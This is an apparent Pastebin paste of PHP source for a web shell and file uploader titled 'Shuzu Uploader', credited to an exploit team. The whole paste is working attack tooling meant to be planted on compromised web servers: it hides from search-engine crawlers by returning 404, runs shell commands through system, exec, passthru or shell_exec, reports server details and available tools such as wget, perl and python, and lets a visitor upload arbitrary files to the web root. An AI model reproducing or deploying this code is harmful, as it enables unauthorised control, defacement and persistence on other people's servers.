Advertisement
Guest User

Untitled

a guest
Jun 24th, 2019
161
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.02 KB | None | 0 0
  1. <style>
  2. table{
  3. background: black;
  4. border: solid 1px red;
  5. }
  6. h1{
  7. color: white;
  8. font-face: monospace;
  9. size: 10;
  10. text-align: center;
  11. text-shadow:0 1px 0 red;
  12. }
  13. a{
  14. color: white;
  15. text-decoration:none
  16. }
  17. .cont a{
  18.  
  19. text-decoration: none;
  20. font-family: Monospace ;
  21. font-size: 16px;
  22. }
  23. button{
  24. background: transparent;
  25. border: 1px solid red;
  26. }
  27. </style>
  28. <?php
  29. ##407 Authentic Exploit - Coder Team##
  30. error_reporting(0);
  31. $default_charset = 'UTF-8';
  32. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  33. $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  34. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  35. header('HTTP/1.0 404 Not Found');
  36. exit;
  37. }
  38. }
  39. ?>
  40. <html>
  41. <head>
  42. <title>[ Shuzu Uploader ]</title>
  43. <meta name='author' content='./Shuzu404'>
  44. <meta charset="UTF-8">
  45. <style type='text/css'>
  46. body{
  47. background: black;
  48. font-family: monospace;
  49. }
  50. </style>
  51. <?php
  52. function asu($dir,$perm) {
  53. if(!is_writable($dir)) {
  54. return "<font color=red>".$perm."</font>";
  55. } else {
  56. return "<font color=lime>".$perm."</font>";
  57. }
  58. }
  59. function kontol($dir,$perm) {
  60. if(!is_readable($dir)) {
  61. return "<font color=red>".$perm."</font>";
  62. } else {
  63. return "<font color=lime>".$perm."</font>";
  64. }
  65. }
  66. function exe($cmd) {
  67. if(function_exists('system')) {
  68. @ob_start();
  69. @system($cmd);
  70. $dia = @ob_get_contents();
  71. @ob_end_clean();
  72. return $dia;
  73. } elseif(function_exists('exec')) {
  74. @exec($cmd,$results);
  75. $dia = "";
  76. foreach($results as $result) {
  77. $dia .= $result;
  78. } return $dia;
  79. } elseif(function_exists('passthru')) {
  80. @ob_start();
  81. @passthru($cmd);
  82. $dia = @ob_get_contents();
  83. @ob_end_clean();
  84. return $dia;
  85. } elseif(function_exists('shell_exec')) {
  86. $dia = @shell_exec($cmd);
  87. return $dia;
  88. }
  89. }
  90. if(isset($_GET['dir'])) {
  91. $dir = $_GET['dir'];
  92. chdir($dir);
  93. } else {
  94. $dir = getcwd();
  95. }
  96. $kernel = php_uname();
  97. $ip = gethostbyname($_SERVER['HTTP_HOST']);
  98. $dir = str_replace("\\","/",$dir);
  99. $scdir = explode("/", $dir);
  100. $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font size=2 color=lime>ON</font>" : "<font size=2 color=red>OFF</font>";
  101. $ds = @ini_get("disable_functions");
  102. $mysql = (function_exists('mysql_connect')) ? "<font size=2 color=lime>ON</font>" : "<font size=2 color=red>OFF</font>";
  103. $curl = (function_exists('curl_version')) ? "<font size=2 color=lime>ON</font>" : "<font size=2 color=red>OFF</font>";
  104. $wget = (exe('wget --help')) ? "<font size=2 color=lime>ON</font>" : "<font size=2 color=red>OFF</font>";
  105. $perl = (exe('perl --help')) ? "<font size=2 color=lime>ON</font>" : "<font size=2 color=red>OFF</font>";
  106. $python = (exe('python --help')) ? "<font size=2 color=lime>ON</font>" : "<font size=2 color=red>OFF</font>";
  107. $php = (exe('php --help')) ? " <font size=2 color=lime>ON</font>" : "<font size=2 color=red>OFF</font>";
  108. $show_ds = (!empty($ds)) ? "<font size=2 color=red>$ds</font>" : "<font size=2 color=lime>NONE</font>";
  109. $sym = (exe('cd /etc/')) ? "<font size=2 color=lime>Maybe ON</font>" : "<font size=2 color=red>OFF</font>";
  110. echo "<center><img src=https://i.ibb.co/VB5T9Z7/1561270445438.png width=40% height=25%></center>";
  111. echo'<center><table>
  112. <tr><td>';
  113. echo "<font size=2 color=white>System: </font><font size=2 color=lime>".$kernel."</font><br>";
  114. echo "<font size=2 color=white>Server IP: <font size=2 color=lime>".$ip."</font> | Your IP: <font size=2 color=lime>".$_SERVER['REMOTE_ADDR']."</font><br>";
  115. echo "<font size=2 color=white>Safe Mode: $sm | <font size=2 color=white>Disable Functions: $show_ds<br>";
  116. echo "<font size=2 color=white>MySQL: $mysql | Perl: $perl | Python: $python | PhP: $php | WGET: $wget | CURL: $curl | Symlink: $sym <br>";
  117. echo '</font></font></td></tr></table>
  118. <tr><td><center>
  119. <br>
  120. </br>';
  121. echo "<font color=red><form method='post' enctype='multipart/form-data'>
  122. <center><input type='file' name='idx_file'>
  123. <input type='submit' name='upload' value='upload'></center>
  124. </form></font>";
  125. $root = $_SERVER['DOCUMENT_ROOT'];
  126. $files = $_FILES['idx_file']['name'];
  127. $dest = $root.'/'.$files;
  128. if(isset($_POST['upload'])) {
  129. if(is_writable($root)) {
  130. if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
  131. $web = "http://".$_SERVER['HTTP_HOST']."/";
  132. echo "<font color=lime size=4>Uploaded: <font color=white><a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></font></font></a>";
  133. } else {
  134. echo "<font color=red size=4>Failed Upload</font>";
  135. }
  136. } else {
  137. if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
  138. echo "<font color=lime size=4>Uploaded: <font color=white><b>$files</b></font></font>";
  139. } else {
  140. echo "<font color=red size=4>Failed Upload</font>";
  141. }
  142. }
  143. }
  144. ?>
  145. <br>
  146. </br>
  147. <br>
  148. </br>
  149. <button><a href=http://blog.anontech.me>Visit Our Blog</a></button>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement